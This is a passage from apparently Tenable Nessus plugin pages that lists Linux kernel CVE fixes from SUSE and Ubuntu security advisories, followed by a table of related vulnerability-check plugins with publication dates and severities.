    - CVE-2025-21638: sctp: sysctl: auth_enable: avoid using current->nsproxy (bsc#1236115).
    - CVE-2025-21639: sctp: sysctl: rto_min/max: avoid using current->nsproxy (bsc#1236122).
    - CVE-2025-21640: sctp: sysctl: cookie_hmac_alg: avoid using current->nsproxy (bsc#1236123).
    - CVE-2025-21673: smb: client: fix double free of TCP_Server_Info::hostname (bsc#1236689).
    - CVE-2025-21689: USB: serial: quatech2: fix null-ptr-deref in qt2_process_read_urb() (bsc#1237017).
    - CVE-2025-21690: scsi: storvsc: Ratelimit warning logs to prevent VM denial of service (bsc#1237025).
    - CVE-2025-21700: net: sched: Disallow replacing of child qdisc from one parent to another (bsc#1237159).
    - CVE-2025-21753: btrfs: fix use-after-free when attempting to join an aborted transaction (bsc#1237875).


Tenable has extracted the preceding description block directly from the SUSE security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

The remote Ubuntu 20.04 LTS / 22.04 LTS host has a package installed that is affected by multiple vulnerabilities as referenced in the USN-7455-1 advisory.

    Jann Horn discovered that the watch_queue event notification subsystem in the Linux kernel contained an     out-of-bounds write vulnerability. A local attacker could use this to cause a denial of service (system     crash) or escalate their privileges. (CVE-2022-0995)

    Several security issues were discovered in the Linux kernel. An attacker could possibly use these to     compromise the system. This update corrects flaws in the following subsystems:

    - Network drivers;

    - File systems infrastructure;

    - NTFS3 file system;

    - Ethernet bridge;

    - Ethtool driver;

    - IPv6 networking;

    - Network traffic control;

    - VMware vSockets driver; (CVE-2025-21703, CVE-2024-56651, CVE-2024-50248, CVE-2025-21701, CVE-2024-26837,     CVE-2024-46826, CVE-2025-21993, CVE-2025-21702, CVE-2024-50256, CVE-2025-21756, CVE-2025-21700)

Tenable has extracted the preceding description block directly from the Ubuntu security advisory.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.

ID	Name	Product	Family	Published	Updated	Severity
235744	EulerOS 2.0 SP10 : kernel (EulerOS-SA-2025-1520)	Nessus	Huawei Local Security Checks	5/12/2025	5/12/2025	high
297384	EulerOS Virtualization 2.10.0 : kernel (EulerOS-SA-2026-1172)	Nessus	Huawei Local Security Checks	1/31/2026	1/31/2026	high
233707	Amazon Linux 2023 : bpftool, kernel, kernel-devel (ALAS2023-2025-915)	Nessus	Amazon Linux Local Security Checks	4/1/2025	2/24/2026	high
231755	Linux Distros Unpatched Vulnerability : CVE-2025-21700	Nessus	Misc.	3/6/2025	5/21/2026	high
234782	Ubuntu 24.04 LTS : Linux kernel (Real-time) vulnerabilities (USN-7453-1)	Nessus	Ubuntu Local Security Checks	4/23/2025	1/6/2026	high
242951	SUSE SLES15 Security Update : kernel (SUSE-SU-2025:02537-1)	Nessus	SuSE Local Security Checks	7/29/2025	9/24/2025	high
232643	SUSE SLES12 Security Update : kernel (SUSE-SU-2025:0834-1)	Nessus	SuSE Local Security Checks	3/12/2025	9/24/2025	high
234813	Ubuntu 20.04 LTS / 22.04 LTS : Linux kernel vulnerabilities (USN-7455-1)	Nessus	Ubuntu Local Security Checks	4/24/2025	6/3/2026	high

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